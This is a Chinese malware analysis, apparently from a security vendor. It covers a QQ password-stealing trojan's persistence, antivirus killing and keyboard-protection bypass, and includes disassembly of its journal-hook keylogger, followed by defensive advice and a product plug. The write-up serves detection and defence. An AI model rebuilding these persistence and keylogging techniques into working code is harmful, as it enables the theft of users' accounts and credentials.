阿拉QQ大盗盗号原理分析
前言:
腾讯号称功能强大的QQ键盘锁为什么没有“锁”好用户的QQ密码、Q币? 阿啦QQ大盗真这么牛B吗?
1、该病毒激活后,会释放出一个“Deleteme.bat”批处理文件,把自身删除。所以当你不小心双击了该病毒时,会发现病毒程序消失了;
2、创建一个病毒副本Ntdhcp.exe复制到%system32%系统目录下,随即激活该副本;
3、写入注册表HKLM\SoftWare\Microsoft\Windows\CurrentVersion\Run,键项为NTdhcp,值为"c:\WINDOWS\System32\NTdhcp.exe" ,实现自启动保护;
4、扫描系统是否存在表中的一些系统安全软件,如杀毒软件,防火墙的,如发现相关窗体或类名存在(FindWindowExA()或FindWindowA()),则终止掉其进程;
5、去掉QQ键盘锁保护
A. 如果QQ正在使用,终止该程序后修改npkcrypt.sys为npkcrypt.bak,阻止QQ.exe的加载;
B. 如果QQ没有在使用,同样改名npkcrypt.sys,阻止QQ.exe键盘锁的加载;
(哦,原来他也并不是完全从技术上攻破QQ键盘锁,这里要引起大家的注意了,如果发现QQ键盘锁成红色叉的图标,可要及时检查系统安全,以免QQ被盗)
6、打好基础后,就可以等待受害的用户上钩了。。
A. 用到日志钩子(JournalRecord),记录键盘事件;
B. 当获取到相当的类名及窗体值时,激活键盘记录事件,记录写入%Windows%\ala2qq
可以用记事本方式打开%Windows%\ala2qq,其内容结构如下:
[QQ]
这里存放号码这是密码=ok
这里存放号码这是密码=ok
[PC]
addr=
ip=
7、 部分逆向代码:
;在Win9x下实现进程隐藏
00406C2E . 68 A06C4000 PUSH 复件_qq.00406CA0 ; /FileName = "kernel32.dll"
00406C33 . E8 34DBFFFF CALL 复件_qq.0040476C ; \LoadLibraryA
00406C38 . 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
00406C3B . 837D FC 20 CMP DWORD PTR SS:[EBP-4],20
00406C3F . 72 57 JB SHORT 复件_qq.00406C98
00406C41 . 68 B06C4000 PUSH 复件_qq.00406CB0 ; /ProcNameOrOrdinal =
"RegisterServiceProcess"
00406C46 . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] ; |
00406C49 . 50 PUSH EAX ; |hModule
00406C4A . E8 E5DAFFFF CALL 复件_qq.00404734 ; \GetProcAddress
; 3 秒检查一下
004084BE . 68 B80B0000 PUSH 0BB8 ; /Timeout = 3000. ms
004084C3 . E8 C4C2FFFF CALL 复件_qq.0040478C ; \Sleep
;下的“日志钩子”
00408451 . 6A 00 PUSH 0 ; /ThreadID = 0
00408453 . A1 50E64000 MOV EAX,DWORD PTR DS:[40E650] ; |
00408458 . 50 PUSH EAX ; |hModule => NULL
00408459 . 68 CC834000 PUSH 复件_qq.004083CC ; |Hookproc = 复件_qq.004083CC
0040845E . 6A 00 PUSH 0 ; |HookType = WH_JOURNALRECORD
00408460 . E8 EFC3FFFF CALL 复件_qq.00404854 ; \SetWindowsHookExA
回调函数地址:0x4083cc
回调函数处理过程。。。
004083CC /. 55 PUSH EBP
004083CD |. 8BEC MOV EBP,ESP
004083CF |. 53 PUSH EBX
004083D0 |. 56 PUSH ESI
004083D1 |. 57 PUSH EDI
004083D2 |. 8B5D 10 MOV EBX,DWORD PTR SS:[EBP+10]
004083D5 |. 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C]
004083D8 |. 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8]
004083DB |. 85F6 TEST ESI,ESI
004083DD |. 7D 10 JGE SHORT 复件_dum.004083EF
004083DF |. 53 PUSH EBX ; /lParam
004083E0 |. 57 PUSH EDI ; |wParam
004083E1 |. 56 PUSH ESI ; |HookCode
004083E2 |. A1 F4E64000 MOV EAX,DWORD PTR DS:[40E6F4] ; |
004083E7 |. 50 PUSH EAX ; |hHook => NULL
004083E8 |. E8 C7C3FFFF CALL ; \CallNextHookEx
004083ED |. EB 34 JMP SHORT 复件_dum.00408423
004083EF |> 813B 01020000 CMP DWORD PTR DS:[EBX],201
004083F5 |. 75 0B JNZ SHORT 复件_dum.00408402
004083F7 |. 8BCB MOV ECX,EBX
004083F9 |. 8BD7 MOV EDX,EDI
004083FB |. 8BC6 MOV EAX,ESI
004083FD |. E8 AEF9FFFF CALL 复件_dum.00407DB0 ;; 跟进去, 会有好东东发现
00408402 |> 813B 00010000 CMP DWORD PTR DS:[EBX],100
00408408 |. 75 0B JNZ SHORT 复件_dum.00408415
0040840A |. 8BCB MOV ECX,EBX
0040840C |. 8BD7 MOV EDX,EDI
0040840E |. 8BC6 MOV EAX,ESI
00408410 |. E8 93FCFFFF CALL 复件_dum.004080A8 ;; 跟进去, 会有好东东发现
00408415 |> 53 PUSH EBX ; /lParam
00408416 |. 57 PUSH EDI ; |wParam
00408417 |. 56 PUSH ESI ; |HookCode
00408418 |. A1 F4E64000 MOV EAX,DWORD PTR DS:[40E6F4] ; |
0040841D |. 50 PUSH EAX ; |hHook => NULL
0040841E |. E8 91C3FFFF CALL ; \CallNextHookEx
00408423 |> 5F POP EDI
00408424 |. 5E POP ESI
00408425 |. 5B POP EBX
00408426 |. 5D POP EBP
00408427 \. C2 0C00 RETN 0C
;;处理一些窗体类名,以更准确的生成记录信息。。。
00407DB0 /$ 55 PUSH EBP
00407DB1 |. 8BEC MOV EBP,ESP
00407DB3 |. 81C4 70FFFFFF ADD ESP,-90
00407DB9 |. 53 PUSH EBX
00407DBA |. 56 PUSH ESI
00407DBB |. 57 PUSH EDI
00407DBC |. 33DB XOR EBX,EBX
00407DBE |. 899D 70FFFFFF MOV DWORD PTR SS:[EBP-90],EBX
00407DC4 |. 895D F0 MOV DWORD PTR SS:[EBP-10],EBX
00407DC7 |. 33C0 XOR EAX,EAX
00407DC9 |. 55 PUSH EBP
00407DCA |. 68 FC7F4000 PUSH 复件_dum.00407FFC
00407DCF |. 64:FF30 PUSH DWORD PTR FS:[EAX]
00407DD2 |. 64:8920 MOV DWORD PTR FS:[EAX],ESP
00407DD5 |. E8 F2C9FFFF CALL ; [GetActiveWindow
00407DDA |. 8BD8 MOV EBX,EAX
00407DDC |. 6A 14 PUSH 14 ; /Count = 14 (20.)
00407DDE |. 8D45 B5 LEA EAX,DWORD PTR SS:[EBP-4B] ; |
00407DE1 |. 50 PUSH EAX ; |Buffer
00407DE2 |. 53 PUSH EBX ; |hWnd
00407DE3 |. E8 ECC9FFFF CALL ; \GetClassNameA
00407DE8 |. 8D85 70FFFFFF LEA EAX,DWORD PTR SS:[EBP-90]
00407DEE |. 8D55 B5 LEA EDX,DWORD PTR SS:[EBP-4B]
00407DF1 |. B9 33000000 MOV ECX,33
00407DF6 |. E8 EDBEFFFF CALL 复件_dum.00403CE8
00407DFB |. 8B85 70FFFFFF MOV EAX,DWORD PTR SS:[EBP-90]
00407E01 |. BA 14804000 MOV EDX,复件_dum.00408014 ; ASCII "#32770"
00407E06 |. E8 41C0FFFF CALL 复件_dum.00403E4C
00407E0B |. 0F85 CA010000 JNZ 复件_dum.00407FDB
00407E11 |. 68 1C804000 PUSH 复件_dum.0040801C ; /Title = "注册新号码"
00407E16 |. 68 28804000 PUSH 复件_dum.00408028 ; |Class = "Static"
00407E1B |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
00407E1D |. 53 PUSH EBX ; |hParent
00407E1E |. E8 A1C9FFFF CALL ; \FindWindowExA
00407E23 |. 8BF0 MOV ESI,EAX
00407E25 |. 68 30804000 PUSH 复件_dum.00408030 ; /Title = "QQ号码:"
00407E2A |. 68 28804000 PUSH 复件_dum.00408028 ; |Class = "Static"
00407E2F |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
00407E31 |. 53 PUSH EBX ; |hParent
00407E32 |. E8 8DC9FFFF CALL ; \FindWindowExA
00407E37 |. 8BF8 MOV EDI,EAX
00407E39 |. 68 3C804000 PUSH 复件_dum.0040803C ; /Title = "用户号码:"
00407E3E |. 68 28804000 PUSH 复件_dum.00408028 ; |Class = "Static"
00407E43 |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
00407E45 |. 53 PUSH EBX ; |hParent
00407E46 |. E8 79C9FFFF CALL ; \FindWindowExA
00407E4B |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
00407E4E |. 68 48804000 PUSH 复件_dum.00408048 ; /Title = "帐号说明"
00407E53 |. 68 28804000 PUSH 复件_dum.00408028 ; |Class = "Static"
00407E58 |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
00407E5A |. 53 PUSH EBX ; |hParent
00407E5B |. E8 64C9FFFF CALL ; \FindWindowExA
00407E60 |. 85F6 TEST ESI,ESI
00407E62 |. 75 12 JNZ SHORT 复件_dum.00407E76
00407E64 |. 85FF TEST EDI,EDI
00407E66 |. 75 0E JNZ SHORT 复件_dum.00407E76
00407E68 |. 837D FC 00 CMP DWORD PTR SS:[EBP-4],0
00407E6C |. 75 08 JNZ SHORT 复件_dum.00407E76
00407E6E |. 85C0 TEST EAX,EAX
00407E70 |. 0F84 65010000 JE 复件_dum.00407FDB
00407E76 |> 68 54804000 PUSH 复件_dum.00408054 ; /Title = " 登录QQ"
00407E7B |. 68 60804000 PUSH 复件_dum.00408060 ; |Class = "Button"
00407E80 |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
00407E82 |. 53 PUSH EBX ; |hParent
00407E83 |. E8 3CC9FFFF CALL ; \FindWindowExA
00407E88 |. 8BF8 MOV EDI,EAX
00407E8A |. 68 68804000 PUSH 复件_dum.00408068 ; /Title = " 登录TM"
00407E8F |. 68 60804000 PUSH 复件_dum.00408060 ; |Class = "Button"
00407E94 |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
00407E96 |. 53 PUSH EBX ; |hParent
00407E97 |. E8 28C9FFFF CALL ; \FindWindowExA
00407E9C |. 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX
00407E9F |. 68 74804000 PUSH 复件_dum.00408074 ; /Title = "登录"
00407EA4 |. 68 60804000 PUSH 复件_dum.00408060 ; |Class = "Button"
00407EA9 |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
00407EAB |. 53 PUSH EBX ; |hParent
00407EAC |. E8 13C9FFFF CALL ; \FindWindowExA
00407EB1 |. 8BF0 MOV ESI,EAX
00407EB3 |. 68 74804000 PUSH 复件_dum.00408074 ; /Title = "登录"
00407EB8 |. 68 60804000 PUSH 复件_dum.00408060 ; |Class = "Button"
00407EBD |. 56 PUSH ESI ; |hAfterWnd
00407EBE |. 53 PUSH EBX ; |hParent
00407EBF |. E8 00C9FFFF CALL ; \FindWindowExA
00407EC4 |. 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX
00407EC7 |. 8D45 A5 LEA EAX,DWORD PTR SS:[EBP-5B]
00407ECA |. 50 PUSH EAX ; /pRect
00407ECB |. 57 PUSH EDI ; |hWnd
00407ECC |. E8 43C9FFFF CALL ; \GetWindowRect
00407ED1 |. 8D45 95 LEA EAX,DWORD PTR SS:[EBP-6B]
00407ED4 |. 50 PUSH EAX ; /pRect
00407ED5 |. 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] ; |
00407ED8 |. 50 PUSH EAX ; |hWnd
00407ED9 |. E8 36C9FFFF CALL ; \GetWindowRect
00407EDE |. 8D45 85 LEA EAX,DWORD PTR SS:[EBP-7B]
00407EE1 |. 50 PUSH EAX ; /pRect
00407EE2 |. 56 PUSH ESI ; |hWnd
00407EE3 |. E8 2CC9FFFF CALL ; \GetWindowRect
00407EE8 |. 8D85 75FFFFFF LEA EAX,DWORD PTR SS:[EBP-8B]
00407EEE |. 50 PUSH EAX ; /pRect
00407EEF |. 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C] ; |
00407EF2 |. 50 PUSH EAX ; |hWnd
00407EF3 |. E8 1CC9FFFF CALL ; \GetWindowRect
00407EF8 |. 8D45 E8 LEA EAX,DWORD PTR SS:[EBP-18]
00407EFB |. 50 PUSH EAX ; /pPoint
00407EFC |. E8 DBC8FFFF CALL ; \GetCursorPos
00407F01 |. FF75 EC PUSH DWORD PTR SS:[EBP-14] ; /Point.Y
00407F04 |. FF75 E8 PUSH DWORD PTR SS:[EBP-18] ; |Point.X
00407F07 |. 8D45 A5 LEA EAX,DWORD PTR SS:[EBP-5B] ; |
00407F0A |. 50 PUSH EAX ; |pRect
00407F0B |. E8 2CC9FFFF CALL ; \PtInRect
00407F10 |. 85C0 TEST EAX,EAX
00407F12 |. 75 40 JNZ SHORT 复件_dum.00407F54
00407F14 |. FF75 EC PUSH DWORD PTR SS:[EBP-14] ; /Point.Y
00407F17 |. FF75 E8 PUSH DWORD PTR SS:[EBP-18] ; |Point.X
00407F1A |. 8D45 95 LEA EAX,DWORD PTR SS:[EBP-6B] ; |
00407F1D |. 50 PUSH EAX ; |pRect
00407F1E |. E8 19C9FFFF CALL ; \PtInRect
00407F23 |. 85C0 TEST EAX,EAX
00407F25 |. 75 2D JNZ SHORT 复件_dum.00407F54
00407F27 |. FF75 EC PUSH DWORD PTR SS:[EBP-14] ; /Point.Y
00407F2A |. FF75 E8 PUSH DWORD PTR SS:[EBP-18] ; |Point.X
00407F2D |. 8D45 85 LEA EAX,DWORD PTR SS:[EBP-7B] ; |
00407F30 |. 50 PUSH EAX ; |pRect
00407F31 |. E8 06C9FFFF CALL ; \PtInRect
00407F36 |. 85C0 TEST EAX,EAX
00407F38 |. 75 1A JNZ SHORT 复件_dum.00407F54
00407F3A |. FF75 EC PUSH DWORD PTR SS:[EBP-14] ; /Point.Y
00407F3D |. FF75 E8 PUSH DWORD PTR SS:[EBP-18] ; |Point.X
00407F40 |. 8D85 75FFFFFF LEA EAX,DWORD PTR SS:[EBP-8B] ; |
00407F46 |. 50 PUSH EAX ; |pRect
00407F47 |. E8 F0C8FFFF CALL ; \PtInRect
00407F4C |. 85C0 TEST EAX,EAX
00407F4E |. 0F84 87000000 JE 复件_dum.00407FDB
00407F54 |> 68 7C804000 PUSH 复件_dum.0040807C ; /Title = ""
00407F59 |. 68 80804000 PUSH 复件_dum.00408080 ; |Class = "ComboBox"
00407F5E |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
00407F60 |. 53 PUSH EBX ; |hParent
00407F61 |. E8 5EC8FFFF CALL ; \FindWindowExA
00407F66 |. 8D55 B5 LEA EDX,DWORD PTR SS:[EBP-4B]
00407F69 |. 52 PUSH EDX ; /lParam
00407F6A |. 6A 32 PUSH 32 ; |wParam = 32
00407F6C |. 6A 0D PUSH 0D ; |Message = WM_GETTEXT
00407F6E |. 50 PUSH EAX ; |hWnd
00407F6F |. E8 D0C8FFFF CALL ; \SendMessageA
00407F74 |. 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10]
00407F77 |. 8D55 B5 LEA EDX,DWORD PTR SS:[EBP-4B]
00407F7A |. B9 33000000 MOV ECX,33
00407F7F |. E8 64BDFFFF CALL 复件_dum.00403CE8
00407F84 |. B8 FCE64000 MOV EAX,复件_dum.0040E6FC
00407F89 |. 8B55 F0 MOV EDX,DWORD PTR SS:[EBP-10]
00407F8C |. E8 4BBCFFFF CALL 复件_dum.00403BDC
00407F91 |. 68 8C804000 PUSH 复件_dum.0040808C ; /Title = "设置密码保护"
00407F96 |. 68 28804000 PUSH 复件_dum.00408028 ; |Class = "Static"
00407F9B |. 6A 00 PUSH 0 ; |hAfterWnd = NULL
00407F9D |. 53 PUSH EBX ; |hParent
00407F9E |. E8 21C8FFFF CALL ; \FindWindowExA
00407FA3 |. 85C0 TEST EAX,EAX
00407FA5 |. 74 0F JE SHORT 复件_dum.00407FB6
00407FA7 |. B8 00E74000 MOV EAX,复件_dum.0040E700
00407FAC |. BA A4804000 MOV EDX,复件_dum.004080A4 ; ASCII "EPH"
00407FB1 |. E8 26BCFFFF CALL 复件_dum.00403BDC
00407FB6 |> 6A 00 PUSH 0 ; /Arg1 = 00000000
00407FB8 |. B9 C4724000 MOV ECX,复件_dum.004072C4 ; |
00407FBD |. B2 01 MOV DL,1 ; |
00407FBF |. A1 AC484000 MOV EAX,DWORD PTR DS:[4048AC] ; |
00407FC4 |. E8 A3C9FFFF CALL 复件_dum.0040496C ; \复件_dum.0040496C
00407FC9 |. A1 F4E64000 MOV EAX,DWORD PTR DS:[40E6F4]
00407FCE |. 50 PUSH EAX ; /hHook => NULL
00407FCF |. E8 98C8FFFF CALL ; \UnhookWindowsHookEx
00407FD4 |. 33C0 XOR EAX,EAX
00407FD6 |. A3 F0E64000 MOV DWORD PTR DS:[40E6F0],EAX
00407FDB |> 33C0 XOR EAX,EAX
00407FDD |. 5A POP EDX
00407FDE |. 59 POP ECX
00407FDF |. 59 POP ECX
00407FE0 |. 64:8910 MOV DWORD PTR FS:[EAX],EDX
00407FE3 |. 68 03804000 PUSH 复件_dum.00408003
00407FE8 |> 8D85 70FFFFFF LEA EAX,DWORD PTR SS:[EBP-90]
00407FEE |. E8 95BBFFFF CALL 复件_dum.00403B88
00407FF3 |. 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10]
00407FF6 |. E8 8DBBFFFF CALL 复件_dum.00403B88
00407FFB \. C3 RETN
00407FFC .^E9 A7B5FFFF JMP 复件_dum.004035A8
00408001 .^EB E5 JMP SHORT 复件_dum.00407FE8
00408003 . 5F POP EDI
00408004 . 5E POP ESI
00408005 . 5B POP EBX
00408006 . 8BE5 MOV ESP,EBP
00408008 . 5D POP EBP
00408009 . C3 RETN
后注:
什么日志钩子?终截者可以防止此类盗号程序吗?
在WINDOWS中,日志钩子是个很特别的钩子,它只有全局钩子一种,是键盘鼠标等输入设备的消息在系统
消息队列被取出时发生的,而且系统中只能存在一个这样的日志钩子,更重要是,它不必用在动态链接库中,
这样可以省却了为安装一个全局钩子而建立一个动态链接库的麻烦。利用日志钩子,我们可以监视各种输入事
件。
要捕捉键盘的按键动作,用键盘钩子(Keyboard Hook)也同样可以实现,但是用日志钩子却比键盘钩子要
方便许多。首先,如果要捕捉其他应用程序的按键,即做成全局钩子,键盘钩子一定要单独放在动态链接库中
,而日志钩子却不必;其次,在键盘钩子函数得到的键盘按键之前,系统已经处理过这些输入了,如果系统把
这些按键屏蔽掉,键盘钩子就无法检测到它们,例如,当输入屏幕保护程序密码时,键盘钩子无法检测到用户
输入了那些字符,而日志钩子却可以检测到。
无论是哪种钩子, 都会增加系统处理消息的时间,从而降低系统的性能,我们只有在必要的时候才安装这
些钩子,而且尽可能在不需要时移走它们。
终截者完全可以防御阿啦QQ大盗及防御同类的盗号程序!
我们如何处理该类病毒? 我们拿什么保护自己的爱机?
1, 尽可能少去登录一些陌生网站,少到一些不正规的网站下载软件;
2, 保证病毒库的更新;
“病后吃药远不如病前防范”!
3, 建议安装使用《终截者入侵阻止》,将QQ其你的网游添加到“密码锁”保护列表中,实现事前防御。